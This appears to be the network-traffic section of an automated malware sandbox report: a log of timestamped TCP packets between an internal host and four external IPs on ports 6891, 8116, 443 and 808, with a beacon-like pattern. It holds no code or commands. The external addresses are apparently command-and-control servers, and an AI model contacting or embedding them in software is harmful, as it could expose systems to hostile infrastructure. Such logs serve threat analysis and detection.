Oct 28, 2021 04:51:59.364957094 CEST	6891	49885	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.364969969 CEST	6891	49885	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.402050018 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.402081013 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.402223110 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.402245998 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.404632092 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.522346973 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.569832087 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.582099915 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.582282066 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.583837032 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.643243074 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.643548012 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.643709898 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.644339085 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.647198915 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.647310972 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.706794977 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.706828117 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.745836020 CEST	6891	49885	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.745862007 CEST	6891	49885	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.745955944 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.759459019 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.876681089 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.876729012 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.876804113 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.876863956 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.879014015 CEST	49886	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.889018059 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.925004005 CEST	6891	49885	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.938532114 CEST	8116	49886	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.943567038 CEST	8116	49887	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:59.943717003 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.950321913 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:59.990900993 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:59.990947008 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:59.991029978 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:59.991447926 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:59.991460085 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.004795074 CEST	8116	49887	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:00.004959106 CEST	8116	49887	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:00.005058050 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:00.005460978 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:00.008939981 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:00.009092093 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:00.063319921 CEST	8116	49887	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:00.063352108 CEST	8116	49887	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:00.246491909 CEST	8116	49887	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:00.246517897 CEST	8116	49887	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:00.246589899 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:00.246612072 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:00.253699064 CEST	49887	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:00.308063030 CEST	8116	49887	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:00.371062994 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.371124029 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.371213913 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.371965885 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.371987104 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.513823032 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.513932943 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.514663935 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.514681101 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.519781113 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.519804001 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.519901991 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.519915104 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.896378040 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.896492004 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.897032022 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.897042990 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.901736021 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.901750088 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:00.901859999 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:00.901870966 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:01.232918024 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:01.233005047 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:01.233020067 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:01.233110905 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:01.236476898 CEST	49888	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:01.236499071 CEST	443	49888	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:01.398091078 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.560147047 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.560350895 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.561147928 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.616669893 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:01.616758108 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:01.616904974 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:01.616933107 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:01.623574972 CEST	49889	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:01.623615026 CEST	443	49889	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:01.722995043 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.723267078 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.723383904 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.723920107 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.728064060 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.728209972 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.746272087 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.885649920 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.889868975 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.889902115 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.889918089 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.889933109 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.904686928 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:01.904901028 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:01.905603886 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.063949108 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.064043999 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.064250946 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.065160990 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.080461979 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.080607891 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.223457098 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.239139080 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.239156961 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.239164114 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.239176035 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.239182949 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.278192043 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.278209925 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.278292894 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.280529022 CEST	49890	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.397902012 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.446480989 CEST	808	49890	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.564260006 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:02.564460993 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.565387011 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.623347044 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.623368025 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.623518944 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.623553991 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.632158995 CEST	49891	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:02.731602907 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:02.731666088 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:02.731806993 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.732353926 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.736272097 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.736426115 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.742577076 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.790431023 CEST	808	49891	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:02.902545929 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:02.902565002 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:02.908868074 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:02.909195900 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:02.912926912 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.079148054 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.079335928 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.079988003 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.080008984 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.084188938 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.084211111 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.250425100 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.250467062 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.284544945 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.284559011 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.284668922 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.284733057 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.287765026 CEST	49892	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.398067951 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.452871084 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.452976942 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.453597069 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.453897953 CEST	6891	49892	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.507414103 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.507831097 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.507894993 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.508398056 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.512844086 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.512960911 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.566777945 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.567109108 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.567465067 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.632651091 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.632668972 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.632723093 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.632755041 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.638642073 CEST	49893	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:03.735665083 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.735719919 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.735780954 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.735812902 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.738082886 CEST	49894	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.761960030 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.792088032 CEST	8116	49894	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.804935932 CEST	6891	49893	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:03.816124916 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.816253901 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.816874981 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.870799065 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.870934963 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.871228933 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.872037888 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.876214027 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.876502991 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:03.898055077 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:03.898109913 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:03.898200989 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:03.899262905 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:03.899293900 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:03.930448055 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.930484056 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:03.931165934 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:04.118217945 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:04.118241072 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:04.118324995 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:04.118349075 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:04.131006956 CEST	49895	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:04.185534000 CEST	8116	49895	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:04.247638941 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.247668982 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.247884989 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.255870104 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.255882978 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.392350912 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.392508984 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.393229008 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.393246889 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.400118113 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.400134087 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.400260925 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.400269032 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.757215023 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.757411003 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.758260965 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.758275032 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.763526917 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.763550043 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:04.763643026 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:04.763650894 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:05.093421936 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:05.093489885 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:05.093678951 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:05.099814892 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:05.099841118 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:05.243424892 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.413168907 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.413455009 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.414958000 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.452681065 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:05.452749968 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:05.452785015 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:05.452846050 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:05.464384079 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:05.464410067 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:05.585913897 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.585952997 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.586071014 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.586364031 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.586652994 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.590764999 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.590868950 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.590888977 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.755968094 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.755994081 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.756190062 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.756942987 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.761255980 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.761480093 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.761528969 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.926621914 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.926872969 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:05.926960945 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.927396059 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.930141926 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:05.930223942 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:06.095865965 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.098999977 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.099422932 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.099502087 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.100034952 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.100140095 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.133649111 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.133680105 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.133754015 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:06.133795023 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:06.135904074 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:06.257752895 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.305181026 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.424340010 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:06.425117016 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.425153017 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.483355999 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.483376026 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.483423948 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:06.483483076 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:06.491381884 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:06.592269897 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:06.592371941 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:06.592457056 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.594002008 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.597747087 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.597774982 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.605581045 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.659312010 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:06.764087915 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:06.764132023 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:06.771923065 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:06.772041082 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.772825956 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.939594984 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:06.939717054 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:06.939827919 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.940318108 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.944509029 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:06.944612980 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:07.110953093 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:07.110984087 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:07.142693043 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:07.142725945 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:07.142873049 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:07.146063089 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:07.256575108 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.312370062 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:07.313035965 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.313226938 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.313884974 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.369975090 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.370232105 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.370316982 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.371036053 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.375590086 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.375780106 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.432275057 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.432297945 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.506448030 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:07.506472111 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:07.506628990 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:07.506735086 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:07.513828039 CEST	49901	6891	192.168.2.5	45.77.0.96
